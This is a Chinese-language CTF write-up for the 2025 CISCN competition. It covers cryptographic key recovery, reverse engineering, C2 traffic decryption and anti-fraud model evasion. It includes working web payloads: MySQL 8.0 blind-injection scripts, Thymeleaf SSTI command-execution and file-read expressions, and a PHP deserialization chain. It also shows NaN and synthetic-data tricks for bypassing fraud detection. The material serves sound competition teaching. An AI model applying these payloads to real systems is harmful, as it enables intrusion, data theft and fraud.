2025 CISCN & 长城杯竞赛技术解析与教学文档

密码学部分

ECDSA 非随机数攻击

题目背景

题目基于ECDSA签名算法，使用固定的私钥和可预测的nonce值对60条消息进行签名。

核心原理

ECDSA签名公式：\(s = k^{-1}(e + d \cdot r) \mod n\)

其中：

• \(k\) 为nonce值
• \(e\) 为消息哈希
• \(d\) 为私钥
• \(r\) 为签名中的r值
• \(n\) 为曲线阶

攻击方法

由于nonce值可通过 \(k(i) = \text{sha512}(b"bias" + bytes([i])).int\) 预测，可直接恢复私钥：

\(d = (s \cdot k - e) \cdot r^{-1} \mod n\)

解题脚本

from hashlib import sha1, sha512
from ecdsa import NIST521p

n = NIST521p.order
L = 66

# 读取签名文件
line = next(ln for ln in open("./signatures.txt", "r", encoding="utf-8") if ln.strip())
mhex, shex = line.strip().split(":")
msg = bytes.fromhex(mhex)
sig = bytes.fromhex(shex)

# 计算参数
i = msg[-1]
k = int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") % n
r = int.from_bytes(sig[:L], "big")
s = int.from_bytes(sig[L:], "big")
e = int.from_bytes(sha1(msg).digest(), "big")

# 恢复私钥
d = ((s * k - e) * pow(r, -1, n)) % n
print(hex(d))

EzFlag 斐波那契数列应用

算法分析

函数f(n)实现斐波那契数列取模16，具有周期性：f(n) ≡ f(n % 24)

关键发现

• 使用预计算字符串K = "012ab9c3478d56ef"作为映射表
• 循环变量v11通过公式更新：v11 = (v11 * 8 + i + 64) & 0xFFFFFFFFFFFFFFFF

优化脚本

K = "012ab9c3478d56ef"

def f(n):
    v5, v4 = 0, 1
    for _ in range(n % 24):  # 利用周期性优化
        v5, v4 = v4, (v5 + v4) & 0xF
    return K[v5]

v11, flag = 1, ""
for i in range(32):
    flag += f(v11) + ("-" if i in [7,12,17,22] else "")
    v11 = (v11 * 8 + i + 64) & 0xFFFFFFFFFFFFFFFF

print(flag)  # 输出: 10632674-1d219-09f29-14769-f60219a24

RSA_NestingDoll 复合RSA攻击

系统架构

• 内层RSA: n1 = p1 × q1 × r1 × s1（四个512位素数）
• 外层RSA: n = p × q × r × s（四个1024位素数）

特殊构造

外层素数生成方式：p-1 = p1 × t，其中t由20位小素数组成（平滑数）

Pollard p-1攻击变种

利用已知的n1作为p-1的部分因子，结合小素数平滑部分进行分解：

1. 计算 \(E = n1 \times M\)，其中M为所有≤2²⁰素数的乘积
2. 对于任意底数a，计算 gcd(aᴱ - 1, n) 得到外层因子
3. 通过gcd(p-1, n1)恢复内层素数

完整攻击流程

from math import gcd
from Crypto.Util.number import inverse, isPrime, long_to_bytes

def primes_upto(B):
    """生成所有≤B的素数"""
    s = bytearray(b"\x01") * (B + 1)
    s[0:2] = b"\x00\x00"
    r = int(B**0.5)
    for p in range(2, r + 1):
        if s[p]:
            s[p * p : B + 1 : p] = b"\x00" * (((B - p * p) // p) + 1)
    return [i for i in range(2, B + 1) if s[i]]

def p1_stage1(N, A, B, base):
    """Pollard p-1攻击实现"""
    x = pow(base, A, N)
    for p in primes_upto(B):
        pe = p
        while pe * p <= B:
            pe *= p
        x = pow(x, pe, N)
    g = gcd(x - 1, N)
    if 1 < g < N:
        return g
    return None

逆向工程部分

wasm-login 时间戳爆破

系统分析

• 使用WebAssembly进行身份验证
• 依赖Date.now()函数获取时间戳
• 通过MD5哈希验证签名

攻击方法

重写Date.now()函数，爆破时间戳范围：

import { createHash } from "node:crypto";
import { authenticate } from "./build/release.js";

const P = "ccaf33e3512e31f3";
const u = "admin", p = "admin";

// 时间戳范围爆破
const s = new Date("2025-12-22T00:20:00+08:00").getTime();
const e = new Date("2025-12-22T01:10:00+08:00").getTime();

for (let t = s; t <= e; t++) {
    Date.now = () => t;  // 重写时间函数
    const j = JSON.stringify(JSON.parse(authenticate(u, p)));
    const h = createHash("md5").update(j).digest("hex");
    if (h.startsWith(P)) { 
        console.log(h); 
        break; 
    }
}

babygame Godot游戏逆向

文件结构分析

• GDPC/GDSC: Godot引擎资源格式
• PCK: 打包资源文件
• GDScript: 编译后的脚本字节码

字节码解析

GDScript结构：

# 头部16字节
identifier_count (4 bytes)
constant_count (4 bytes) 
line_count (4 bytes)
token_length (4 bytes)

# 标识符（每个字符XOR 0xB6）
length (4 bytes) + chars (每个字符4字节)

# 常量
count (4 bytes)
type (4 bytes) + data

AES密钥替换攻击

发现关键字符串：

• 原始密钥: "FanAglFanAglOoO!"
• 替换后: "FanBglFanBglOoO!"（A→B）

解密脚本：

from Crypto.Cipher import AES

key = b"FanBglFanBglOoO!"
ct = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
print(pt)  # b'wOW~youAregrEaT!'

Eternum C2后门分析

流量特征

• Magic头部: "ET3RNUMX"
• 协议格式: 8字节magic + 4字节长度 + 加密数据

加密算法识别

通过字符串分析确定为AES-GCM模式：

• 密钥: "xfqGcVjrOWp5tUGCPFQq448nPDjILTe7"

解密流程

from scapy.all import rdpcap, TCP, Raw
from Crypto.Cipher import AES
import base64, re

KEY = b'xfqGcVjrOWp5tUGCPFQq448nPDjILTe7'

for pkt in rdpcap('tcp.pcap'):
    if TCP in pkt and Raw in pkt:
        raw = bytes(pkt[Raw].load)
        if raw[:8] == b'ET3RNUMX':
            enc = raw[12:]
            nonce, ct, tag = enc[:12], enc[12:-16], enc[-16:]
            pt = AES.new(KEY, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
            
            # Base32解码隐藏内容
            m = re.search(rb'MZWGCZ33[A-Z2-7]+=*', pt)
            if m:
                print(base64.b32decode(m.group()).decode())

Web安全部分

Ai-waf MySQL 8.0注入绕过

技术原理

利用MySQL 8.0的TABLE语句替代SELECT，结合exp()函数进行布尔盲注：

{"query":"-1' || if((TABLE information_schema.tables LIMIT 1)>('def','mysql','columns_pra',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),exp(710),1)#"}

盲注脚本核心

def post_text(payload):
    """发送注入payload"""
    data = {"query": payload}
    resp = requests.post(url, json=data)
    return resp.text

def get_flag_char(position, current_flag=""):
    """逐字符提取flag"""
    low, high = 32, 127
    while low < high:
        mid = (low + high) // 2
        test_char = chr(mid)
        test_value = current_flag + test_char
        
        # 构造比较payload
        payload = f"0' || if((table where_is_my_flagggggg limit 0,1)>('{test_value}'),exp(710),1) || '1'='1"
        
        result = post_text(payload)
        if "error" in result.lower():
            high = mid  # 条件为真
        else:
            low = mid + 1  # 条件为假
    
    return chr(low - 1) if low > 32 else None

EZ_JAVA Thymeleaf SSTI绕过

过滤绕过技术

常规payload被过滤：

${T(java.lang.Runtime).getRuntime().exec('whoami')}

反射+混淆绕过

// 列目录
''.getClass().forName('java.nio.file.Files')
   .walk(''.getClass().forName('java.nio.file.Paths').get('/'), 1)
   .collect(''.getClass().forName('java.util.stream.Collectors').toList())

// 读取文件  
''.getClass().forName('java.nio.file.Files')
   .readAllLines(''.getClass().forName('java.nio.file.Paths')
   .get('/'+'fla'+'g'+'_y0u_d0nt_kn0w'))

hellogate PHP反序列化

POP链构造

A::triggerMethod() 
→ echo $this->handle 
→ B::__toString() 
→ return $this->worker->result 
→ C::__get() 
→ file_get_contents($this->cmd)

利用payload生成

<?php
class A { public $handle; }
class B { public $worker; public $cmd; }
class C { public $cmd; }

$c = new C();
$c->cmd = "/flag";
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;

echo urlencode(serialize($a));
?>

流量分析部分

SnakeBackdoor系列

后门通信分析

1. 初始入侵: 通过Flask SSTI漏洞植入Webshell
2. RC4加密: 密钥为"v1p3r_5tr1k3_k3y"
3. 二进制后门: 通过Webshell下载并执行

关键发现

• Web后门头验证: X-Token-Auth: 3011aa21232beb7504432bfa90d32779
• 进程名称: python3.13
• C2通信: 192.168.1.201:58782

自定义SM4算法逆向

密钥生成算法：

class Rand:
    def __init__(s, seed):
        s.r = [0]*32; s.r[1] = seed & 0xFFFFFFFF
        for i in range(2,32): 
            s.r[i] = (16807*s.r[i-1]) % 2147483647
        s.f, s.b = 4, 1
        for _ in range(310): s.rand()
    
    def rand(s):
        v = (s.r[s.f] + s.r[s.b]) & 0xFFFFFFFF
        s.r[s.f] = v
        s.f = 1 if s.f>=31 else s.f+1
        s.b = 1 if s.b>=31 else s.b+1
        return (v>>1) & 0x7FFFFFFF

def gen_key(seed):
    rng = Rand(seed)
    return b''.join(struct.pack('<I', rng.rand()) for _ in range(4))

最终密钥: ac46fb610b313b4f32fc642d8834b456

AI安全部分

欺诈猎手的后门陷阱

NaN注入攻击

利用JSON中NaN值的特殊性质绕过检测：

• 在大多数语言中，NaN > 0.9 返回 False
• NaN < 0 也返回 False

攻击payload

{
 "trans_amount_usd": NaN,
 "addr_deviation_score": NaN, 
 "trans_time_risk_score": NaN,
 "merchant_code_hash": NaN,
 "card_issuer_code": NaN,
 "pos_terminal_id": NaN,
 "transaction_type_code": NaN, 
 "cvv_verify_score": NaN,
 "account_age_month": NaN,
 "daily_trans_count": NaN
}

The Silent Heist 反欺诈绕过

隔离森林对抗

利用多元正态分布生成相似交易数据：

import numpy as np
from sklearn.ensemble import IsolationForest

# 计算统计参数
mean = np.mean(original_data, axis=0)
cov = np.cov(original_data, rowvar=False)

# 生成伪造数据
samples = np.random.multivariate_normal(mean, cov, size=n_samples)

# 本地预筛选
model = IsolationForest(contamination=0.05)
model.fit(original_data)
predictions = model.predict(samples)
normal_data = samples[predictions == 1]

关键技巧

1. 去重处理: 避免与原始交易重复
2. 金额控制: 确保总金额超过目标值
3. 异常检测: 本地模拟服务器检测逻辑

总结

本教学文档详细分析了2025年CISCN竞赛中的关键技术点，涵盖了密码学攻击、逆向工程、Web安全、流量分析和AI安全等多个领域。重点技术包括：

1. ECDSA非随机数攻击 - 利用可预测nonce恢复私钥
2. RSA复合结构攻击 - Pollard p-1算法的变种应用
3. Godot游戏逆向 - 字节码解析和AES密钥替换
4. MySQL 8.0注入绕过 - TABLE语句和exp函数利用
5. Thymeleaf SSTI绕过 - 反射和字符串混淆技术
6. 流量分析取证 - 多层加密通信的解密技术
7. AI模型对抗 - NaN注入和隔离森林绕过

这些技术在实际CTF竞赛和真实世界安全评估中都具有重要参考价值。